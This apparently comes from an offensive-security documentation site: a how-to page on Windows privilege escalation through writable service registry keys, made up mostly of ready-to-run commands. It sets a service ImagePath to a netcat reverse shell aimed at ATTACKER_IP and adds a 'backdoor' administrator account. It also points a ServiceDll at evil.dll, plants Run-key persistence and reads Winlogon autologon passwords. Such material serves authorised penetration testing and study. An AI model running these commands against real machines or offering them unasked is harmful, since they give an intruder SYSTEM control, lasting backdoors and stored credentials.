> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Registry Permissions

> Privilege escalation via writable service registry keys: modify ImagePath, add DLL, and hijack service configuration.

## Overview

Each Windows service has a registry key under `HKLM\SYSTEM\CurrentControlSet\Services\`. If you have write access to a service's registry key, you can change its binary path, add parameters, or modify its configuration to execute arbitrary code as SYSTEM.

***

## Find Writable Service Registry Keys

### accesschk

```cmd theme={"dark"}
accesschk.exe /accepteula -kvuqsw "Everyone" HKLM\SYSTEM\CurrentControlSet\Services
accesschk.exe /accepteula -kvuqsw "Users" HKLM\SYSTEM\CurrentControlSet\Services
accesschk.exe /accepteula -kvuqsw "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services
```

Look for `KEY_ALL_ACCESS` or `KEY_SET_VALUE`.

### PowerShell

```powershell theme={"dark"}
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
    $acl = Get-Acl $_.PSPath
    $acl.Access | Where-Object { $_.IdentityReference -match "Users|Everyone|Authenticated" -and $_.RegistryRights -match "SetValue|FullControl" } | ForEach-Object {
        Write-Output "$($_.IdentityReference) -> $($acl.PSPath)"
    }
}
```

***

## Modify ImagePath

If writable, change the service binary:

```cmd theme={"dark"}
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444" /f
```

Restart service:

```cmd theme={"dark"}
sc stop VulnService
sc start VulnService
```

***

## Add Admin User via ImagePath

```cmd theme={"dark"}
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /c net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add" /f
sc stop VulnService
sc start VulnService
```

***

## Service DLL

Some services load a DLL specified in the registry:

```cmd theme={"dark"}
reg query "HKLM\SYSTEM\CurrentControlSet\Services\VulnService\Parameters" /v ServiceDll
```

If `ServiceDll` key is writable:

```cmd theme={"dark"}
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\Temp\evil.dll" /f
```

***

## AppendData Permission

If you have `AppendData` but not `SetValue`:

```cmd theme={"dark"}
# Can add new subkeys but not modify existing values
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService\NewSubKey" /v Exploit /t REG_SZ /d "payload" /f
```

Limited, but can sometimes be chained with other techniques.

***

## Startup Type

Change service to auto-start:

```cmd theme={"dark"}
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v Start /t REG_DWORD /d 2 /f
```

| Value | Meaning   |
| ----- | --------- |
| `2`   | Automatic |
| `3`   | Manual    |
| `4`   | Disabled  |

***

## Other Interesting Registry Locations

### Run Keys (Persistence)

```cmd theme={"dark"}
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

If writable:

```cmd theme={"dark"}
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f
```

### Winlogon

```cmd theme={"dark"}
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
```

### AutoLogon

```cmd theme={"dark"}
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
```

***

## Quick Reference

| Target          | Registry Path                                    |
| --------------- | ------------------------------------------------ |
| Service binary  | `HKLM\...\Services\<Name>\ImagePath`             |
| Service DLL     | `HKLM\...\Services\<Name>\Parameters\ServiceDll` |
| Startup type    | `HKLM\...\Services\<Name>\Start`                 |
| Run keys        | `HKLM\...\CurrentVersion\Run`                    |
| AutoLogon creds | `HKLM\...\Winlogon\DefaultPassword`              |